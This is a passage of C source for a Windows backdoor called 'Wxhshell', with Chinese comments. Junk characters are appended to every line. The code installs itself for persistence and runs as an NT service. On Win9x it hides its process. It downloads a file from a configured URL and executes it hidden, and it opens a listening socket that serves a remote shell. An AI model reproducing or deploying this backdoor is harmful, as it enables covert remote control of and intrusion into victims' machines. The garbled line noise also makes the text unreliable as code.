ULONG UniqueProcessId; l@edR)n <
ULONG InheritedFromUniqueProcessId; {'O,G$Ldkr
} PROCESS_BASIC_INFORMATION; lX g.`
-^C^3pms
PROCNTQSIP NtQueryInformationProcess; be^+X[
-zn$h$N4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *@;Pns]L-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lVb{bO9-O
[S Jx\Os
HANDLE hProcess; _JEe]
PROCESS_BASIC_INFORMATION pbi; -@=As00Bg
~m`j=ot
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 42E%&DF
if(NULL == hInst ) return 0; EV=/'f[++
&k\`!T1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y)V)g9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w|t}.u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MS7rD%(,'
qYba%g9RN(
if (!NtQueryInformationProcess) return 0; x:wv#Wh:l7
B EN
U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q)mYy
if(!hProcess) return 0; TR7j`?
Pk2=*{:W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y6+/_$N4|
Sbzx7 *X
CloseHandle(hProcess); zDD
H6o_*Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }BFX7X
if(hProcess==NULL) return 0; 7+'&(^c
zCz"[9k
HMODULE hMod; HpCTQ\H
char procName[255];
W!Qaa(o?
unsigned long cbNeeded; :OEovk(`
Vi9Kah+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xLN$!9t
^*g= 65!1
CloseHandle(hProcess); @zs.M-F
IjaFNZZC!
if(strstr(procName,"services")) return 1; // 以服务启动 |BA&ixHe~C
!c2<-3e
return 0; // 注册表启动 O su 75@3
} Rz03he
Y|X!da/
// 主模块 (&o|}"kRq
int StartWxhshell(LPSTR lpCmdLine) w ]%EJ|'
{ [8 I*lsS
SOCKET wsl; $cSmub ZK
BOOL val=TRUE; }uFV\1
int port=0; \281X
struct sockaddr_in door; kac-@
i;l0)q
if(wscfg.ws_autoins) Install(); /#Gm`BT
5K#<VU*:
port=atoi(lpCmdLine); )\PPIY>iP
qk}Mb_*C)
if(port<=0) port=wscfg.ws_port; ']C" 'b
Y@ l>4q")
WSADATA data; '/U% -/@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VX6M4<8
<^n@q f}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wn Q% 'Eo
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nN'>>'@>
door.sin_family = AF_INET; p3Z[-2I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); K3;~|U-l
door.sin_port = htons(port); Xs Ey8V
c&"OhzzJK'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ET\>cxSp
closesocket(wsl); M`D`-vv
return 1; 4p6\8eytq.
} 8+mu'RZ X
Hfo/\\
if(listen(wsl,2) == INVALID_SOCKET) { |_\q5?S
closesocket(wsl); oAt{#v
return 1; {>h,@
} ],|;
Wxhshell(wsl); f\u5=!kjN
WSACleanup(); MA+{7 [
nd)`G$gL
return 0; 6^QSV@N|
M<K}H8?
} :G4)edwe
"ivSpec.V
// 以NT服务方式启动 ]N^>>k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dTVh{~/
{ R^VmNj
DWORD status = 0; Ae8P'FWB>
DWORD specificError = 0xfffffff; [A'9sxG
rCsH
0:l8P
serviceStatus.dwServiceType = SERVICE_WIN32; {fxytiH8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :F.eyA|#@G
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LTZ~Id-)P
serviceStatus.dwWin32ExitCode = 0; K)P].htw
serviceStatus.dwServiceSpecificExitCode = 0; 7<zI'^l
serviceStatus.dwCheckPoint = 0; Ksb55cp`
serviceStatus.dwWaitHint = 0; ;\54(x}|K
2PViY,V|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yP "D~u
if (hServiceStatusHandle==0) return; ./_4D}
;~"#aL50fe
status = GetLastError(); jc7NYoT:
if (status!=NO_ERROR) UNCI"Mjb
{ XQStlUw8+
serviceStatus.dwCurrentState = SERVICE_STOPPED; t@cImmh\T
serviceStatus.dwCheckPoint = 0; /g\m7m)u
serviceStatus.dwWaitHint = 0; t-Zk)*d/0
serviceStatus.dwWin32ExitCode = status; &eFv~9
serviceStatus.dwServiceSpecificExitCode = specificError; *n*po.Xr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {SwvUWOf"
return; CuAA)B j
} "vF7b|I
@u1mC\G
serviceStatus.dwCurrentState = SERVICE_RUNNING; J%1 2Ey@6
serviceStatus.dwCheckPoint = 0; i{MzQE+_^
serviceStatus.dwWaitHint = 0; IJ2>\bW_p
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f}:W1&LhI?
} \w=*:Z
K{__rO
// 处理NT服务事件,比如:启动、停止 +8 }p-<a
VOID WINAPI NTServiceHandler(DWORD fdwControl) (;2]`D [x
{ +`+r\*C5
switch(fdwControl) ;T|hNsSt
{ tW \q;_DSr
case SERVICE_CONTROL_STOP: *k
!zdV
serviceStatus.dwWin32ExitCode = 0; Uq=!>C8
serviceStatus.dwCurrentState = SERVICE_STOPPED; te
b/
serviceStatus.dwCheckPoint = 0; e$4$G<8;y
serviceStatus.dwWaitHint = 0; kWxcB7)uk
{ %R-KkK<S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FQO>%=&4
} p77
return; q/3 )yG6s
case SERVICE_CONTROL_PAUSE: - %`iLu
serviceStatus.dwCurrentState = SERVICE_PAUSED; Ji;R{tZ.R
break; 8+8P{_
case SERVICE_CONTROL_CONTINUE: D`@*udn=
serviceStatus.dwCurrentState = SERVICE_RUNNING; Qe4"a*l-r
break; "a]Ff&T-
case SERVICE_CONTROL_INTERROGATE: 1J[|Ow
break; TU O*w
}; ;2Za]%'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *v0}S5^/"
} 89l{h8R
T]y^PT<8?
// 标准应用程序主函数 C^9bur/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) la*c/*
{ }Oe9Zq
!~a1xI~s
// 获取操作系统版本 {f[X)
OsIsNt=GetOsVer(); S1E=EVG
GetModuleFileName(NULL,ExeFile,MAX_PATH); V"W)u#4,
*S\/l-D
// 从命令行安装 :'K%&e?7s
if(strpbrk(lpCmdLine,"iI")) Install(); t_{rKb,
B$&&'i%
// 下载执行文件 Z)dE#A_X
if(wscfg.ws_downexe) { hgI;^ia
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0|OmQ\SQ
WinExec(wscfg.ws_filenam,SW_HIDE); _?~)B\@~0
} >o8N@`@VK-
FW,@.CX
if(!OsIsNt) { t.6gyrV7><
// 如果时win9x,隐藏进程并且设置为注册表启动 N-<m/RS
HideProc(); 3PRK.vf
StartWxhshell(lpCmdLine); x
L]Z3"p%
} 8L,i}hIo.
else &J}w_BFww
if(StartFromService()) &&sCaNb
// 以服务方式启动 XZ1WY(
StartServiceCtrlDispatcher(DispatchTable); >n6yKcjY]
else WG(%Pkowv
// 普通方式启动 u{(-`Al}L
StartWxhshell(lpCmdLine); "bk'#?9
VQ'DNv| 9
return 0; h$I
2T
}